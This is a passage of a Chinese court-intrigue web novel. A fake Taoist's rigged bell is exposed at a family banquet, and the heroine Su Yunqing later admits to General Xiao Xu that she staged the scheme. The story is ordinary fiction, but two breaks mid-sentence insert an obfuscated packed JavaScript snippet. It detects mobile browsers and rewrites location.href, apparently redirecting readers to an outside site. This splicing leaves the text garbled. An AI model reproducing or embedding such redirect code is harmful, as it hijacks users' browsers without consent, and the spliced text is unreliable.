苏云青目视着人群中两个懒懒散散、蠢蠢欲动的少年身上。商泓是圣上的远方表亲,与苏长越整日厮混在一起,关系情同手足。她此行的目的,正是为了扇他一巴掌,好让圣上有理由招她入宫,做将军府的眼线。 …… “夺灵球现在开始!谁先攀上顶峰,掀开红绸,灵球归谁所有!” 道士一本正经主持着,随着他拂尘一甩,夺灵球正式开始。 文官武官涌向木架,争先恐后抢着攀上木台。 商泓眼疾手快,一把扯住苏长越的胳膊,把人往后一拽,借力一跃,迅速攀上第一级阶梯。 苏长越被他突如其来的动作弄得恼怒,掰开这些围在前方爬不上几级阶梯的文官们,奋力追赶商泓。他身手敏捷,翻身一跃,竟在转眼间追上了商泓。 商泓见状,加快速度往上爬去,却遭苏长越伸手拉住他的脚踝,用力往下一拖,硬生生拽下两级阶梯。 两人瞬间平级,火花四溅。 苏长越身手了得,与商泓在只够撑一只脚的窄板上打得有来有回,甚是精彩。 底下围观人群,看得惊叹连连。 “苏公子功夫了得,甚是厉害,灵球非他莫属。” “到时庆宴可莫忘了唤我们一同饮酒啊,苏大人。” “是是是,我看苏公子赢定了,今儿是大吉之日,下官在此先提前恭贺大人了。” 苏济在一旁听着吹捧之言,笑得合不拢嘴,目光盯着高架上激烈的打斗。 苏长越拳快如风,直逼商泓挥面门。商泓迅速反应,侧身躲过,退到板边缘。苏长越左掌紧接着毫不迟疑,猛地拍出。商泓本就身子不稳,这一掌力道虽不打,却将他彻底打下了横板,整个人头朝下栽去。 底下的人顿时惊呼一声,倒吸一口凉气。几层楼高的距离,若是摔下来,后果不堪设想! 忽然,商泓腰身一拧,凌空旋了半圈,脚尖勾住木板,整个人倒挂在半空中,险稳住身。 底下人方松口气,就见商泓挺身跃回板子上,用劲掰下半块板子,朝趁机爬上几级阶梯的苏长越飞去! 苏长越正借力上爬,手中吊着全身的板子猝不及防被击碎,整个人瞬间失力,直往下坠。危机关头,他抓住一块木板,松口大气,再看已落后商泓数级。 一报还一报。 商泓在顶端丢来势在必得的笑容,快步攀上最后两级,一把扯下红绸。 红绸飞扬—— “!!!商公子胜!” 底下欢呼声刚起,瞬时静如针落,剩下一片死寂。 悬架上根本没有灵球!不过是块红绸遮住的空架子罢了! “怎么回事!灵球怎么不见了!莫不是大师父忘挂上了?!” 道士抬头一瞧,脸色骤变,震惊道:“不可能!我昨夜亲眼守着他们挂上去的!” 外头乱成了一锅粥,场面一片混乱。 暖亭里,许明哲大笑道:“苏大小姐,你看我说的,这灵球怕是早不在了。” 苏云青轻笑回应,配合夸奖道:“那只能说明,许公子,明察秋毫。” 许明哲展开折扇挥了挥,“可不是我做的。花苑里这些大人,别看他们围着你爹打转,其实不想他升官的人占了多数。” 北轩王李淮抿了口茶润嗓,“一个灵球,决定不了官位归属。” 许明哲挑眉笑说:“信誉难得。” “苏云青!”苏欢雪突然杀进暖亭,气势汹汹指着苏云青质问,“是不是你藏了灵球!” 苏云青拍开她的手,神色不变道:“凡事要讲究证据,你直冲过来指着我乱扣罪名,难道是想栽赃陷害?” 苏欢雪咄咄逼人,“是不是你,大师父一测即知!灵球究竟去了何处!” “苏云青!苏家升官你不是同样能跟着沾光?竟然做这么恶毒之事!” 苏云青冷笑一声,“如北轩王殿下所言,一个灵球决定不了官落谁家。更何况,夺得灵球魁首之人,不是商公子?” 苏欢雪死缠烂打,在暖亭里纠缠不休,引得一众人议论纷纷。 “灵球,不会真是苏大小姐拿走了吧?” “听说,她与苏家关系不好,嫁入侯府那日,还与苏家断绝了关系。苏宅宴,是想当着这么多人的面,让苏家下不来台?” 有几个明事理的人,为她开脱,“你开什么玩笑,她有什么必要这么做?” 道士突然高喊一声,“有鬼附身!” “什么有鬼俯身,可不要胡言乱语!”人群中有人不满反驳。 这是什么场景,居然说这种话。 道士抖着手心里的铃铛,表情严肃,“驱邪铃响了!灵球开过光,认主前不可见日光,否则会引来邪祟。如今离奇失踪,一定是有鬼作祟。” 众人道:“什么?!” 道士笃定道:“是与否,一测就知!” 人群里不知谁起哄,“那在场诸位,都测一测。若真有邪祟,也有道行颇深的大师父帮忙祛除。苏大小姐,一同来吧。” 苏云青目光在人群晃过,商泓已经从高架上下来了,怒气冲冲瞪着她,眼底满是埋怨。她神态清冷,裹紧狐裘起身,走出暖亭,停在人群旁。 安车轮毂碾石而来,停靠在她身边。 许明哲扶稳李淮的车,站到旁侧。 苏济迎上来,关切道:“殿下怎么到外头吹寒风。” 李淮:“不碍事,难得大师出手驱邪,本王也想见识见识,远青观大师的本事。” 众人围成一个大圈,道士在圈中画了个阵法,嘴中念念有词。 商泓环抱双臂,站在苏云青对面,蛮横道:“行不行啊!能测出谁私藏了灵球吗?!” 道士捋捋拂尘,手心握着铃铛,走到他面前,“商公子放心,这铃铛在谁面前响了,谁就是偷藏灵球的罪魁祸首。” 商泓冷哼一声,不屑盯着道士在他眼前晃动铃铛,铃铛无声。道士又沿着人群一个个晃动铃铛,他手里的铃铛仿若无芯一般,丝毫没有声响,已然摇过大半圈。 商泓不耐烦,“你到底行不行?这怕不是个假铃铛。” 道士不语,瞥了眼站在眼前的苏欢雪,又再次晃动铃铛,依旧无声。 他继续挨个挪动,从许明哲面前移至李淮面前,依然无果后。 最终停在苏云青跟前。 众人齐刷刷投 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15154471|164901||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 过目光,注视着她那淡然的神情。 道士亮出手心铃铛,波动手指,对她一晃。 “当啷——!” 清脆的铃声在寂静的空中响起,惊得众人心中一颤。 “!!!” “居然真是苏大小姐!” “大小姐这么做是为什么?!” 苏欢雪走到她面前质问,“苏云青!你还有什么好说的!” 苏云青仰头看向陡峭的阶梯与挂灵球的高架,讪笑道:“灵球挂在高处,下人皆需架梯子才能挂上去,文官攀不过半层。男子尚要费尽全力才可达到的位置,我一个女子如何能碰上去?” “更何况,前几日我不小心在浴室摔了跤,伤了胳膊,根本抬不起用不上劲,攀上它是难上加难的事。” 苏欢雪:“那便是你早前偷了!” 苏云青讥讽道:“妹妹是未上过学堂?还是记性不好?大师父不久前不是说过,他昨夜亲眼看着下人把灵球挂了上去,我如何能偷?” 苏欢雪:“是与不是,去你房中一搜就知!” 她催促下人去查一番,“来人!去将大小姐的屋子搜一遍!” 许明哲目光落在苏云青身上,她立在纷扰中,始终波澜不惊。 苏云青眉目平淡如水,神情自若,真如她说言,对这些东西没有半分兴趣。比起苏家刻意为之的端庄之态,她才算的上气质清雅的大家闺秀。 然而,欲加之罪,何患无辞。 没一会儿,下人竟真急匆匆带着灵球,跑了回来。 灵球上的光芒已经黯淡,并且沾了墨汁,写满歪歪扭扭的字迹。 “小姐!小姐!找到了!” 围观旁人顿时炸开锅,不可置信道:“天哪,真是苏大小姐藏了?什么时候藏的?大师父不是说昨夜看着它挂上去的?她连夜攀上去偷了?!是何用意啊!” 苏欢雪接过灵球,“在哪找到的?” 下人小心瞄了眼苏云青,指认道:“大、大小姐房中。” “你听到了?”苏欢雪冷笑一声,把灵球举到苏云青面前,“苏云青,你现在还有什么好狡辩的?!你说你在将军府沐浴时摔了一跤,不小心摔伤了胳膊!” “我看是假的!胳膊是昨夜偷取灵球摔伤的吧?” 苏云青掀开眼皮,“我的伤,究竟是怎么伤的。萧将军清楚。不如,你去问问,他如何帮我上的药?” 此话一出,众人噤声,面面相觑,不敢多言。萧叙的名字宛如无形的屏障,轻而易举能压下绝大多数的质疑之声。 有时不得不说,搬出萧叙比她舌战群儒、自证清白更有效得多。 苏云青余光忽然瞥见远处长廊的阴影下,立着一道修长的身影。他环臂斜倚在黯淡的红柱旁,意味深长融在黑暗中,隔岸观火,丝毫没有上前揭穿她的打算。 萧宴山?他怎么来了。 苏欢雪见胳膊一事行不通,立即转过矛头,把灵球亮给大伙瞧。 “你左胳膊受伤,右胳膊可是好的!在灵球上写字?这事又怎么说!” “竟然!在灵球上写满诅咒的话语!枉苏家对你不薄,你居然如此恶毒!” 苏云青不回应她的话,也不解释,反问道:“你怎么证明是我拿的?” 苏欢雪一看,所有的证据摆在眼前,苏云青居然还不承认! “大师父的铃铛在你面前响了,灵球也在你房中搜查出来,你还有什么好说的。” 苏云青神情没有半点变化,声音如羽毛轻柔刮耳,红唇骤然轻勾,“可它现在不是在你手中?” 许明哲忍不住“噗嗤”一声,在她旁边摇扇笑了出来。谁能想到苏云青来这么一出,简直出乎人意料。 “你!”苏欢雪气得脸颊通红,“铃铛响了!” “单凭这一点?”苏云青目光平移,落到道士手中,“这铃铛这么神奇呢?” 她抬步走到道士身前,目光冷冽,询问道:“灵球开光了?” 道士不知怎么得,额间渗出细汗,“开、开了。” 苏云青一把夺走他的铃铛,转身冷笑一声,“那我来看看,谁会受灵球的诅咒呢?” 苏欢雪:“苏云青!你做什么?” 苏云青淡淡道:“我来试试灵球的诅咒准不准。” 她不管不顾,跟着道士走过的路,挨个走到那群人面前,摇动铃铛。 苏欢雪:“你在这里发什么疯!” 13. 濯雪(3) 苏济上前阻止,“苏云青!这不是你胡闹的地方!” 苏云青不为所动,轻笑着,举起铃铛在他眼前一晃,吓得苏济退了半步。 “父亲躲什么?不是说,灵球落地,驱邪招运?你们怕什么,我又没修过道,说不定也不准呢。” 她轻蔑地瞥苏济一眼,转头直冲苏欢雪,“但我若是让它响了,那谁就会被诅咒!” “你做什么,你做什么,苏云青!”苏欢雪大惊失色,惊慌失措大步后退,慌忙把手里的灵球丢出去。写满诅咒的灵球‘咕咚’一下落地,竟像摆脱不了似得,又滚回她脚边。 “当啷——!!!” 铃铛骤然在苏欢雪眉宇间响起,无比刺耳! 苏欢雪脸色刷白,脚下一软,撞到身后人群,一屁股跌坐在地,惊恐地看着苏云青。 周遭的人迅速散开退后数尺。 “铃铛!铃铛又响了!” “这次……是诅咒?” “灵球上歪歪扭扭的字,真是诅咒?怎么会这样,难道是苏小姐故意为之,栽赃陷害?” 苏济的脸瞬间黑了下去,瞪着偷鸡不成蚀把米的苏欢雪。 苏云青眼底没有一丝温度,羽睫下凝视的目光如刀锋般锐利,直刺人心。 她又摆手摇了下铃铛。 “当啷——” 又是一声清脆的响动。 苏欢雪心震如鼓,呼吸慌乱起伏,充满恐惧的眼死死盯住苏云青。 苏云青忽然松开握着铃铛的手指,铃铛从她掌心坠落,却意外悬停在苏欢雪眼前,无声晃荡。 “!!!” “铃铛……铃铛悬在了空中!” 突然,离得近的几人发现了端倪,那铃铛上挂着一条极细的丝线,丝线另一端绕在苏云青的指骨上,若不细看,根本难以察觉。 苏云青嗤笑一声,语气轻柔,带着讽刺意味,“你找的假道士,怎么把自己给吓坏了?用丝线操控铃芯,想在谁面前响,谁就能响。” 许明哲在一边煽风点火,“什么?原来是个假道士啊,我就说,远青观的师父向来不入红尘,难请得很,怎得会为个小官家的女子下山,招摇献灵。” 他双手握扇,对天半举,“圣上都难求的高人,我还以为苏小姐本事通天呢,原来是个冒牌货。假的也好啊,不然引得陛下不快,莫说官位了,就是命也难保。” 许明哲这一提点,引得旁人唏嘘一片。 “原来如此,我就说远青观怎么会掺和这一脚。” “快来人!把这个假道士抓起来!” 道士顿时慌了神,扭头想跑,却被旁人钳制住。他哭喊辩解道:“我……我确实拜过远青观,但……他们没收我。我只是收了苏小姐的银子,做做样子办事啊!什么坏事没干,昨夜真的亲眼看着下人把灵球挂上去的,至于它怎么消失的,我真不知道。你你你,你问他!他们下人都看到了!” 他立马指向刚刚抱球来的小厮,试图让他帮忙作证。小厮那见过这场面,吓得埋头躲在人群中。 苏云青扬眉,取下指骨上的丝线,松开捻绳的手指,让铃铛“叮”一声,落进苏欢雪怀里。 她一袭红裙在风中肆意飞舞,美艳的红唇一张一合,“苏欢雪,我告诉你,今儿这灵球若真是开了光,你会受你写下的诅咒,不得好死!” 她借舆论的压力,把风向加倍施加在苏欢雪身上。 舆论如墙头草,哪边风大哪边倒。方才还对苏欢雪夸赞有词的人,此刻将所有的不是推到了她的头上。 “苏家小姐,居然这么歹毒。这么看来,苏大小姐与苏家关系不太好,是真的。” “要我在这样的家庭里,我也关系不好。” “没看错的话,苏小姐身上穿的,是圣上赏赐给苏大小姐的贺婚随礼吧。肯定是他们苏家独占,抢了去。这样不把圣上和苏大小姐放在眼里,还玩一出栽赃陷害。” 苏济脸色铁青,早没了方才的神采奕奕,额间青筋爆跳。 苏长越从人群里冲出来,为苏欢雪出头,他一掌推开苏云青力道之大,让她踉跄后退。 苏云青肩膀的旧伤再次被牵动,瞬间疼得她冒出冷汗。不由微曲下脊背,缓解疼痛,随后又咬牙挺直腰杆,冷眼看着对面两人浓厚的兄妹情意。 苏长越走到苏欢雪身边,抓起将她吓坏的铃铛,怒摔在地,搀起苏欢雪。 语气凌厉,对苏云青怒斥道:“你在明翰堂待了一年,学了些什么恶毒的本事!” 苏欢雪瞧见有了靠山,慌忙往苏长越身后躲。 苏长越伸手护住她,嘴中依旧不饶苏云青,“真伤假伤,何时受的伤!一看便知!” “我看你与明翰堂那些民间女子一般!不知廉耻!既然如此,把伤露出来给大伙瞧瞧,究竟是旧伤还是新伤!” 他说罢,竟抬手抓住苏云青的衣裳,意图在大庭广众之下扒开她的衣裳,展露她肩膀的伤痕。 北轩王李淮见状,转动轮毂,托住苏云青被苏长越推搡不稳的腰肢。他蹙紧眉头,还未开口。 苏济忍无可忍,冲上前扬手甩了苏长越一巴掌,“苏长越!” 苏长越脸被甩歪过去,不可置信捂着脸看向苏济,“爹?” “你还知道我是你爹!你要在这样的场合下,扒你姐的衣服!”苏济怒不可遏,扬手又赏了一巴掌,仍觉不解气。 他苏家维持几年的仪态,今日全丢出去喂狗了! 苏云青眼底隐晦不明,默默退了半步,旁观掀起的这场闹剧。 商泓拍着手掌,跟来凑热闹,“苏家小姐果然厉害。” 苏欢雪:“商哥哥……” 商泓笑道:“说的不是你。”他指着苏云青,“是你。” 苏云青扯出抹笑望着他,余光轻扫过隐在长廊下的那道身影。 商泓:“早前听闻,苏大小姐为躲相亲在脸上画丑妆,如此心思诡谲之人,很难不让人联想,今日之事,或是你故意为之。” “大师父坦白苏欢雪给了他银两,让他主持夺灵球的喜吉之事。她也只是一片孝心,至于藏灵球,写诅咒。苏兄说的不错,旧伤新伤,一瞧便知。” 他目光不怀好意,上下打量苏云青,语气愈发轻浮,“明翰堂伤风败俗的事,大伙都已知晓,人群中宽衣解带,对苏小姐来说应该不难,不如让众人看看,是什么样的身段,能让萧叙那样的人亲自给你上药。” 显然,所有人都不信,萧叙那样冷血无情的魔头,会沦陷温柔乡,亲手为个不入流的女子上药。 说罢,商泓往前逼近一步,近乎贴靠上苏云青。 苏云青毫无征兆抬手,甩了他一个响亮的巴掌,“果然是污水同浑。商公子不把我放在眼里,怕不是忘了,我如今是侯府夫人。” “你又有何立场,让我在大庭广众之下,宽衣解带?又何来本事,污了将军名讳。商家想得罪侯府?不把我放在眼里,也不把将军放在眼里?” 商泓被突如其来的一巴掌甩懵了,愣在原地,缓了半晌才回过神来。 商家与当今圣上沾亲,旁人哪个见了不给几分薄面,对他毕恭毕敬!可她苏云青居然在众目睽睽下甩他一巴掌! “苏云青!你找死!” 苏云青:“这一巴掌是替将军打的。” 商泓气红了眼,一把揪起她的领口,“你知不知道我是谁!我看你是不想活了。” 他挥起拳头,对准她的脸,狠狠砸去! “商泓!”许明哲也未料到,事情居然发展成了这样。他快步上前阻止。 一股凛风刮来,挥在苏云青鼻梁。千钧一发之际,一只有劲的手猛然钳制住商泓的拳头,将他的攻势拦在半空。 两股劲风相撞,苏云青发丝震起,睫毛微颤,诧异地顺着拦截的那只手看去。 只见,萧叙眸色森冷,身形高大如山,强大的气场让空气凝固,温度骤降。 在场之人,无一不感到愕然。 萧叙眼神一暗,挥开商泓的手,反手在商泓另一半脸上重重甩了一巴掌。这一巴掌力道极重,商泓的脸肉眼可见泛起红肿。 巨响一声,骇得人头皮发麻,周遭陷入一片死寂,所有人屏气凝神。 苏云青瞳孔骤缩,心中震惊:“!!!” 萧叙沉声道:“商家如今好本事,竟不将本侯的夫人放在眼里。” 苏云青也未料到萧叙竟会出手。 商泓的火气憋在心头,不敢怒不敢言,嘴中泛起的血腥气硬生生往肚子里咽。 他的势气被彻底压下,不情不愿拱手,低声道:“见过侯爷。” 苏济急忙上前,尴尬扯动面部肌肉,赔笑道:“一场误会。” 许明哲:“啧,苏大人,真是好大一场误会。不将侯府放在眼底也不将王爷放在眼里,一群人合起伙来打压一个女子。” “苏大人,莫不是方才没长眼?到你儿出言不逊,要扒人衣服时,才出手平事。” 苏济低垂着头,光赔不是,都够他跪的了,他瞥见旁人交头接耳,明里暗里指责他的不作为。 “这是在闹什么?”一道苍老的声音从院门前传来。苏老夫人杵着拐杖,在柳晴柔的搀扶下走了过来。 柳晴柔和苏老夫人虽然关系不睦,但在家宴上,也得装的和谐些。然而,院子中的氛围诡异到极点,苏济投给柳晴柔的目光,更是只有怨恨之意。 苏老夫人步履蹒跚,走上前给众人赔不是,“闹了场笑话?给各位大人赔个不是。” “后院搭了戏台子,邀各位大人前去用膳,观舞。” 今日本就是老夫人的寿宴,大家也不好难为一个老妇人,借这层台阶,匆匆离开这个是非之地。 众人本就是来攀苏济的,闹这么一出,王爷与侯爷若在圣上面前上奏,即便是原定的官位,也要投向别家了。对老夫人,自然也没那么尊敬,偶尔有两人路过时给她道个贺,余下的只为顾全自己,快步离开花苑,以免惹毛了萧叙那个杀人不眨眼的疯子。 苏老夫人的视线落在苏云青身上,苏云青亦是冷冷与她撞了一眼,便别过脸去,视而不见。 老夫人抿了抿唇,回头去后院招呼客人。 商泓瞪了眼地上滚落的灵球,脸色阴沉,大步挥袖离去。 周围的人陆陆续续散了。 北轩王李淮扫视了萧叙与苏云青一眼,意味不明道:“看来你很喜欢陛下赏赐的婚事。” 萧叙睨他一眼,不理睬,对身旁的苏云青道:“走。” 苏云青跟上他的步伐,与他并肩而行。 …… 后院戏台。 上坐之位,左侧是李淮与许明哲,右侧是萧叙与苏云青。 苏老夫人与苏家之人则在二级席位,地位稍逊。 苏济举着酒杯,起身赔礼道歉,“让诸位同僚看笑话了,这杯苏某先赔不是。” 他仰头将杯中酒一饮 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15154472|164901||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 而尽,“不夜坊舞艺闻名天下,难得请来,诸位吃好喝好,尽情观赏。” 戏台之上,琴声悦耳一拨,红纱紧随落地,舞姬轻盈起舞。 苏云青拢紧白色外袍,将里头的红裙藏匿起来。她端起酒壶为身旁的萧叙倒了一杯酒,仿佛心中愧对,似在道歉。 萧叙掠过她倒的酒,自己倒了一杯,“从前未见,苏小姐挺会利用人,把侯府推上前,为你挡风。” 苏云青见到他的动作,举着的酒杯默默收了回来,自己独饮,“我与将军情投意合,恩爱有加,多谢将军庇佑。” 萧叙厌恶道:“自作多情。苏小姐,利用我是要付出代价的。” 苏云青仰头灌尽整杯烈酒,“这杯酒,给将军赔不是,方才那般场景下,若没有将军,我难以脱身。” 萧叙对此并无表示,苏云青只好再倒一杯,再给自己灌下去。 烈酒灼喉,仿佛一把火从喉咙烧到胃里,灼得人疼,不由锁眉。 她倒入第三杯,可萧叙目不斜视不多看她一眼。 苏云青举到唇边的酒杯默默放了下来。她知道,就算把满桌的酒灌下去,萧叙也不会有所动容。 台前琴声悠扬悦耳,舞姬身着彩衣翩翩起舞,为首的绯衣少女娇躯甩动花裙,在不断波动的乐声中点地旋转。 琴师目光紧随着她,为她拨琴奏乐。 苏济坐在席间,面上不悦,一股气无处宣泄,喝了两口酒,仍不解气,磨着后槽牙对柳晴柔宣泄,“看你教出来的什么好儿子,什么好女儿。” 花苑里的事,柳晴柔已从下人口中得知。 “欢雪想出夺灵球,也是一片孝心,为了让你得喜运,得信誉。” “哼,找个假道士,简直丢人现眼,居然还在灵球写上诅咒之言。”苏济气得把酒杯摁在桌子上,“苏云青说得对,那要是真开过光的灵球,你女儿那些诅咒,都会落到她自己身上!” 柳晴柔抬眸,目光落在苏云青身上,苏云青云淡风轻吃着晚膳,托腮观舞,瞧着好不惬意。 “远青观的师父多难请,你不是不知。欢雪哪有那个本事把人请下山来……你难道不也是睁一只眼,闭一只眼吗?” “长越那也是为替欢雪出头,着急了些……” 她不提还好,一提苏济火气更旺了。 苏济压低声音呵斥道:“够了!他们得罪了多少人?目中无人就是你教出来的好大儿?” “什么事都办不好,养个孩子你也养不明白!” 柳晴柔被怼得哑口无言。 苏济咬牙切齿道:“简直是一帮废物。李家倒台,吏部尚书这么好的位置,风声都透了出来。这次圣上赐婚简直是天助我苏济,本来日后无需再看旁人脸色,势在必得的东西,被你们给毁了。柳晴柔,我现在恨不得掐死你,让你一死了之,你和我谈什么两个孩子兄妹情深?” “苏家的孩子你养不明白,我便叫别人重新养。” 柳晴柔勉强维持优雅弧度的嘴角顿时僵住,“你……在说什么?” 苏济冷哼一声,转过头去,不理会她。 “叮铃叮铃……” 一阵芳香卷来,绯衣少女手握绸缎凌空飞来,脚踝的银钏随她动作,诱耳撩人。 她拎着裙摆,身轻如燕,纤腰灵动,在半透的纱裙中若隐若现。 琴师快速波动音弦,因她改变舞姿而换了乐声,台上的舞姬也配合着她,摆动纱衣,跃下台,在看客间游走。 绯衣舞姬玉袖生风,香袖甩在苏济端在半空的杯口,羞涩含笑,用长袖卷走他的酒杯,仰头饮下。酒水顺着她的嘴角滑下,苏济目光灼灼,瞧着细流滑过她白皙的脖颈,掠过锁骨。舞姬扬唇一笑,指腹悄然抹去,把酒杯还给了苏济。 “大人……眉头紧锁,因何而犯愁?”她声音妩媚,“饮了这杯酒,便不恼了。” 她拎起柳晴柔面前摆着的酒杯,为苏济斟满。 柳晴柔面色极为难看,自己的丈夫与一个舞姬眉来眼去,而她只能坐在一旁眼睁睁看着,还要维持当家主母心胸宽广的仪态。 如此可笑。 苏云青坐在对面,指腹摩挲冰冷的银杯,注视着他们一举一动。 萧叙瞥见她露出的红衣袖口,淡淡开口,“夫人很喜欢红衣?” 苏云青垂下眼眸,“喜欢。红衣喜庆,将军不喜?” 她的脸颊因几杯酒而泛起红晕,胆子也大了起来,明知故问地看向他。 萧叙眼底幽深,“红衣,乃丧,死人之气。” 苏云青嗤笑一声,缩起眼眸看着苏济那方,“将军说的对。” 萧叙:“我的夫人,不可穿红衣,还请苏小姐牢记。下次若犯,军棍会助夫人记牢。” 舞姬如春风袭来,柔声道:“将军……妾身为您斟酒。” “滚。”萧叙冷喝一声,将人轰走。 苏云青柔笑为舞姬解围,“我的夫君不喜,我倒是喜欢,不如为我添一杯。” 空荡的银杯夹在她修长泛红的指间,微微晃动。舞姬愣了一下,发觉他们桌上的酒壶被萧将军握在手里。 舞姬面露难色,“将军……” 萧叙抬眸,幽冷的眼神将人吓跑了,浓厚的香味遗留原地,久难散去,令他十分不悦。 苏云青目光游离,拖着腮,颠了颠空酒杯,慵懒道:“怎得走了,酒还没添。” 酒香飘来,驱走浓香。萧叙倾酒,为她添了满杯。 14. 濯雪(4) 苏云青看着苏济那方,他似乎饮酒过头,又或许是破罐子破摔,全然不顾自己夫人的颜面,把那名舞姬搂在怀里,动作暧昧。 她低嘲一声,“将军……我与你的部下一样吗?” 萧叙:“什么?” 苏云青:“犯了错要上军棍重罚?” 萧叙:“你不如他们,也比不上他们。” 苏云青自嘲一声,“这样啊……将军府里还有什么规矩,不如一起告诉我,莫真挨了罚,我的身子受不住。将军死了夫人,多不吉利。” 她喝得多了些,似也如破罐子破碎,酒意上头,浑身燥热,索性褪去外袍,明晃晃露出红衣。 刺目的红杀入他的眼眸,衬得她的肌肤雪白,酒痕像绽放的花,在她身上近乎红得滴出血来。 萧叙颦眉,心底翻起一阵血意,暴躁的情绪一股脑涌了上来。 他耐着性子,提醒道:“把衣服穿上。” 微醺的苏云青不想理他,趴在桌上别过脸去,用后脑勺对着他,嘴中含糊不清嘀咕着。 “……将军……说得对……说得对……” 几名朝官大人举着酒杯走到萧叙面前,殷勤道:“将军,不知可否赏脸喝一杯?” 萧叙拎起苏云青褪去的外袍,丢回她肩膀上,严严实实挡住微敞露出脖颈的红裙。 他丝毫不给这些下官脸面,直截了当拒绝道:“不饮酒。” “那、那您手中这杯是……”大人不死心,小心询问道。 萧叙神情自然,“夫人的酒,我替她拿着,有何不可?” 官员语塞,不敢再言,连连点头退下。 另一边,北轩王李淮同样轰走舞姬,他的视线落在苏云青与萧叙那方,指骨在桌面敲击两下,暗示什么。 许明哲摇着扇子,瞬间明白他的意思,展扇遮面,吩咐下人要来一杯醒酒茶。 他起身走向苏云青,在她面前俯身,“苏大小姐,是不是喝的有些多了?殿下让我给你送杯甘甜的醒酒茶来。” 苏云青晕晕乎乎抬起脑袋,手伸到一半,却被萧叙捷足先登,握了个空。 他道:“退下。” 许明哲挥了挥扇,回到座位,依旧挂着似笑非笑的神情。 萧叙并未将‘不知明’的醒酒茶交给苏云青,他随手给旁边醉得瘫软如泥的人倒了杯茶。 苏云青迷迷糊糊握在手心,“是醒酒茶吗?” “是。”萧叙毫不犹豫答道:“茶。” 他观察着琴师与舞姬,忽然,胳膊一沉,苏云青脑袋歪了过来,直接挂在了他的胳膊上。 萧叙皱眉,“你在做什么?” “将军……将军……”苏云青好看的眉拧作一团,表情痛苦,“我胳膊好疼……胳膊好疼……” 她挣扎间,外袍从肩膀滑落,红衣衣襟被顺带扯下一些,隐隐约约可见肩膀处大块的淤青。酒精麻痹让她暂时忘了左肩的伤,居然压着它在桌上趴了半晌。 萧叙本能抵触她的靠近,下意识抽出胳膊。然而失去重心的人,一下子栽到了他的腿上,她脸颊滚烫的温度隔着衣料灼烧着他的肌肤。 他拎住苏云青的后领,把人拽直起来。 苏济不知何时已经站在了他们面前,手里捧着赔罪的酒,“侯爷……” 他一开口,嘴中的酒气便扩散在空中,令人不适。 萧叙对这般混乱的场景心生厌烦,不耐烦地给苏云青理好衣服,手掌滑至她的腰窝,托她站起身。 “夫人身体不适,苏大人的酒留着自己喝吧。” 他搀着脚步漂浮的苏云青,在众人各异的目光中,离开了后院,径直往她的房中走去。 “苏小姐还要装到几时?” 苏云青软绵绵挂在萧叙身上,迷迷糊糊指着回房的路。 “将军……是这边。” “自己走。”萧叙松开她,拍了拍她蹭皱的衣服,还没顺两下,苏云青摇摇晃晃,脑袋一歪朝一旁栽去。 萧叙眼疾手快将人又捞了回来。 “…………” 他把人拖回房中,往椅子上随意一丢,回身关上门,动作干净利落。 “将军……今夜是要和我住一屋吗?”苏云青意识不清,摊在桌上,“也是也是,你我夫妻一场,不待在一间屋子里,会惹人非议。” 一到夜色深沉,雪便缓缓飘落下来。 萧叙坐在窗榻前,半开着窗,任由凉风拂面,“等你清醒,自己去军中领罚。” 苏云青嘴里嘀咕,“……胳膊疼……” “…………” …… 半夜,苏云青被屋外一阵喧闹声吵醒。 “怎么回事!” “怎么死人了!” 她扶着疼痛的脑子从床上坐起,昏暗的屋子只有一缕月光从半敞的窗户透入,洒在地上。 她身上依旧穿着红衣,昨夜宿醉的记忆,零零碎碎浮现在脑海中。 屋子里没有萧叙的身影,她忍着半边麻木的胳膊,翻箱倒柜换掉了那身红衣。 撕扯的疼痛让她冷汗浸湿新衣,她快步走到屋门前,正准备开门,就听黑暗处传来一道微倦声。 “苏小姐急匆匆是打算去哪?” 苏云青怔了一下,“将军,你在屋子里。” 萧叙衣裳松垮,长发披肩从暗角走出,“你胳膊的伤加重了。” 苏云青滞住,“是那日遇刺夜里,将军护我躲箭,不小心又扯伤了。” 萧叙挑眉,质疑道:“是吗?” “是……” 月色凄冷,如层薄纱阻隔在两人之间,寒风阵阵撩起她的衣裙,刺骨的寒意从脚蹿起。 萧叙掐住她的脖颈,指腹在她喉间轻抚,最后抵住她的下颚,迫使她扬起头来。 “苏小姐心中没底的时候,很喜欢用吞咽来掩盖不安的情绪。” 他的碎发被风拂动,挥打在她酒气未褪尽的脸颊,冷热交织,宛如刀剜。 苏云青垂下眼睫,“将军……似乎知道了一些事。” 萧叙冷笑道:“没想到,苏小姐这么有本事,给所有人演了一场精彩绝伦的大戏,连侯府也被扯了进去。” 苏云青知道瞒不过他,轻扬嘴角,如实道:“苏家不配坐那个位置,不如留给将军。” 萧叙指腹用力捏住她的下巴。发丝拂动,月色从间隙映入眼帘,阴狠之色显露。 “别太自作聪明。” 苏云青:“并未。我只是不想让苏家坐上去罢了,至于位置最后落入谁家,我并不关心。” “我攀上高架,取下灵球,也只是把它放回了木箱里。” “苏欢雪发现的时候,已经晚了,来不及挂上去。她倒不如用灵球来陷害我,也不枉费她费的一番心思。让苏家将我逐出家门,她成唯一的苏家小姐,成吏部尚书唯一的千金。” 